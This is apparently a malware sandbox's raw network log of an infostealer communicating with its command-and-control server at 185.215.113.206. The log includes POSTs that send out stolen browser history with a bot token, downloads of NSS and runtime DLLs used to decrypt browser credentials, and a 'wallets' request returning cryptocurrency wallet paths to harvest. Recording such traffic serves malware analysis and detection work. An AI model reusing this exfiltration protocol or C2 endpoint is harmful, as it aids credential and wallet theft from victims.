Dec 2, 2024 11:20:32.265047073 CET	777	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGH Host: 185.215.113.206 Content-Length: 575 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="file"aHR0cHM6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9cmVnZWRpa3QmZm9ybT1XTlNHUEgmcXM9U1cmY3ZpZD0xYzRjMmUyODExZTQ0YzAzYTYzYWFkNmZjZjM5MTcxNiZwcT1yZWdlZGlrdCZjYz1HQiZzZXRsYW5nPWVuLVVTJndzc289TW9kZXJhdGUK------IEGCAAKFBAEGDGCBGCGH--
Dec 2, 2024 11:20:33.093301058 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:33.158621073 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file"------DBKFIDAAEHIEGCBFIDBF--
Dec 2, 2024 11:20:33.976875067 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:34.418493032 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:34.740609884 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B [TRUNCATED]
Dec 2, 2024 11:20:34.740858078 CET	1289	IN	Data Raw: 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b 08 00 83 c4 04 31 c0 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 8b 45 08 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 Data Ascii: t8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h
Dec 2, 2024 11:20:34.741113901 CET	1289	IN	Data Raw: 02 00 00 83 7d 0c 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 Data Ascii: }uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Dec 2, 2024 11:20:34.741204023 CET	1289	IN	Data Raw: 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 e6 09 c8 c1 e0 08 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 Data Ascii: ]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2
Dec 2, 2024 11:20:34.741365910 CET	1289	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Dec 2, 2024 11:20:34.741421938 CET	1289	IN	Data Raw: 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b 45 0c 05 00 ff ff ff 3d 01 ff ff ff 73 20 68 0e e0 ff ff Data Ascii: []USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuWT
Dec 2, 2024 11:20:34.741468906 CET	1289	IN	Data Raw: de 01 00 00 89 5d dc 89 7d e4 89 c8 31 c9 ba 00 00 00 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 Data Ascii: ]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpf
Dec 2, 2024 11:20:34.741550922 CET	1289	IN	Data Raw: f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Dec 2, 2024 11:20:34.741669893 CET	1289	IN	Data Raw: ff ff 01 f8 89 45 b8 11 cb 89 5d f0 31 da 31 c6 89 f0 0f a4 d0 10 89 45 a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 Data Ascii: E]11EuUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8E
Dec 2, 2024 11:20:34.741786003 CET	1289	IN	Data Raw: da 89 d3 8b 4d 9c 31 f9 89 ca 0f a4 da 10 89 55 a0 0f ac d9 10 89 4d 9c 8b 5d e8 01 cb 89 5d e8 8b 7d c0 11 d7 89 7d c0 31 f8 31 de 89 c1 0f a4 f1 01 89 4d 88 0f a4 c6 01 89 b5 70 ff ff ff 8b 45 d4 03 85 4c ff ff ff 8b 4d cc 13 8d 1c ff ff ff 03 Data Ascii: M1UM]]}}11MpELMEE}MU1u1EE]]M11M]4M]11hUMMMM11UME8M
Dec 2, 2024 11:20:35.063024998 CET	1289	IN	Data Raw: c2 8b 75 a0 31 ce 89 75 a0 8b 7d e8 01 d7 89 7d e8 8b 45 c0 11 f0 89 45 c0 8b 75 88 31 fe 31 c3 89 f0 0f a4 d8 08 0f a4 f3 08 03 8d 18 ff ff ff 8b 75 c8 13 b5 34 ff ff ff 01 d9 89 4d b4 11 c6 89 75 c8 8b 7d a0 31 f7 31 ca 89 d6 0f a4 fe 10 89 75 Data Ascii: u1u}}EEu11u4Mu}11ulMM}}11puM}u]ME1Eh1MMEE11U}U
Dec 2, 2024 11:20:37.106733084 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:37.429270983 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B [TRUNCATED]
Dec 2, 2024 11:20:39.172128916 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:39.494339943 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B [TRUNCATED]
Dec 2, 2024 11:20:40.286396027 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:40.608824015 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B [TRUNCATED]
Dec 2, 2024 11:20:45.372531891 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:45.695033073 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B [TRUNCATED]
Dec 2, 2024 11:20:46.428476095 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 11:20:46.751035929 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B [TRUNCATED]
Dec 2, 2024 11:20:47.175692081 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 185.215.113.206 Content-Length: 1047 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:20:47.998600006 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:48.100557089 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="message"wallets------HCAFIJDGHCBFHJKFCGIE--
Dec 2, 2024 11:20:48.425729036 CET	1289	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 